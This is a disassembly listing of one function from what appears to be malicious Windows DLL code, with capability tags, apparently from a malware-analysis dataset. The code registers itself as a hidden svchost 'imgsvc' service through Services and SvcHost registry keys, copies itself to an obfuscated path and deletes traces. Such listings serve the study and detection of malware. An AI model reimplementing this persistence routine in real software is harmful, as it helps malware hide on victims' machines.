Function at 0x1000d1b0
Capabilities:
Check for time delay via gettickcount
Copy file
Delete file
Get common file path
Query environment variable

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x59c
cmp eax, 1
push ebx
push esi
push edi
jne 0x1000d598
push 0x37a
push 0x10017b58
call fcn.1000c960
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call esi
mov ebx, dword [esp + 0x5b8]
add esp, 0xc
push 0x104
push 0x10019c0c
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x30
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x3a5]
mov byte [esp + 0x3a4], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
add esp, 4
stosb byte es:[edi], al
lea eax, [esp + 0x3a0]
push 0x104
push eax
push str._RqmbzdlDjn_p__MoohTVoieomtrs_bqe
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea edi, [esp + 0x3a0]
or ecx, 0xffffffff
xor eax, eax
push str._RqmbzdlDjn_p__MoohTVoieomtrs_bqe
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x10019c0c
mov edx, ecx
mov esi, edi
mov edi, str._RqmbzdlDjn_p__MoohTVoieomtrs_bqe
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
jne 0x1000d299
mov dword [0x10019bbc], ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x10019bac], eax
call fcn.10007950
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x59c
ret 0xc
push ebp
push str.Glable__Wait
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
call fcn.10006f10
push str._RqmbzdlDjn_p__MoohTVoieomtrs_bqe
call fcn.1000d120
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
mov ebp, dword [sym.imp.KERNEL32.dll_DeleteFileA]
add esp, 4
push str._RqmbzdlDjn_p__MoohTVoieomtrs_bqe
call ebp
mov ecx, 0xb
mov esi, str._SystemRoot_System32_svchost.exe__k_imgsvc
lea edi, [esp + 0x4a8]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x36
lea edi, [esp + 0x4d4]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x4a8]
push eax
call fcn.1000c400
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 4
push 0x12c
call ebx
mov ecx, 8
mov esi, str.SYSTEMCurrentControlSetServices_
lea edi, [esp + 0x278]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
lea edi, [esp + 0x29b]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, 0x10017b58
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x278]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x74], al
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push 0x104
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x40
lea edi, [esp + 0x79]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x78]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, str.Net_Temp.ini
or ecx, 0xffffffff
xor eax, eax
mov byte [esp + 0x77], 0
repne scasb al, byte es:[edi]
lea edx, [esp + 0x74]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea eax, [esp + 0x74]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
call ebp
lea ecx, [esp + 0x74]
lea edx, [esp + 0x278]
push ecx
push edx
call fcn.1000c5f0
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
add esp, 8
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
imul eax, eax, 0x2b67
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
push eax
lea eax, [esp + 0x14]
push str.SOFTWARE_d
push eax
call esi
lea ecx, [esp + 0x80]
lea edx, [esp + 0x1c]
push ecx
push edx
call fcn.1000c650
add esp, 0x14
lea eax, [esp + 0x74]
push eax
call ebp
push 0x12c
call ebx
mov ecx, 0x31
xor eax, eax
lea edi, [esp + 0x1b1]
mov byte [esp + 0x1b0], 0
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x10]
lea edx, [esp + 0x1b0]
stosw word es:[edi], ax
push ecx
push str._sParameters
push edx
stosb byte es:[edi], al
call esi
lea eax, [esp + 0x1bc]
push str._RqmbzdlDjn_p__MoohTVoieomtrs_bqe
push eax
call fcn.1000c6d0
lea ecx, [esp + 0x88]
lea edx, [esp + 0x24]
push ecx
push edx
call fcn.1000c5f0
add esp, 0x1c
push 0x12c
call ebx
lea eax, [esp + 0x74]
lea ecx, [esp + 0x278]
push eax
push ecx
call fcn.1000c650
add esp, 8
push 0x12c
call ebx
lea edx, [esp + 0x74]
push edx
call ebp
mov ecx, 0xd
mov esi, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvcHost
lea edi, [esp + 0x178]
lea eax, [esp + 0x74]
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x178]
push eax
push ecx
movsb byte es:[edi], byte [esi]
call fcn.1000c5f0
add esp, 8
call dword [sym.imp.MSVCRT.dll_rand]
imul eax, eax, 0x2b67
push eax
lea edx, [esp + 0x14]
push str.SOFTWARE_d
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [esp + 0x80]
lea ecx, [esp + 0x1c]
push eax
push ecx
call fcn.1000c650
add esp, 0x14
push 0x12c
call ebx
lea edx, [esp + 0x10]
push 0x10017b58
push edx
call fcn.1000c740
add esp, 8
lea eax, [esp + 0x74]
push eax
call ebp
lea ecx, [esp + 0x74]
lea edx, [esp + 0x10]
push ecx
push edx
call fcn.1000c5f0
lea eax, [esp + 0x7c]
lea ecx, [esp + 0x180]
push eax
push ecx
call fcn.1000c650
add esp, 0x10
push 0x12c
call ebx
lea edx, [esp + 0x74]
push edx
call ebp
push 0
push str._RqmbzdlDjn_p__MoohTVoieomtrs_bqe
push 0x10019c0c
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push str._RqmbzdlDjn_p__MoohTVoieomtrs_bqe
call fcn.1000c870
add esp, 4
call fcn.1000c550
call fcn.1000c490
pop ebp
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x59c
ret 0xc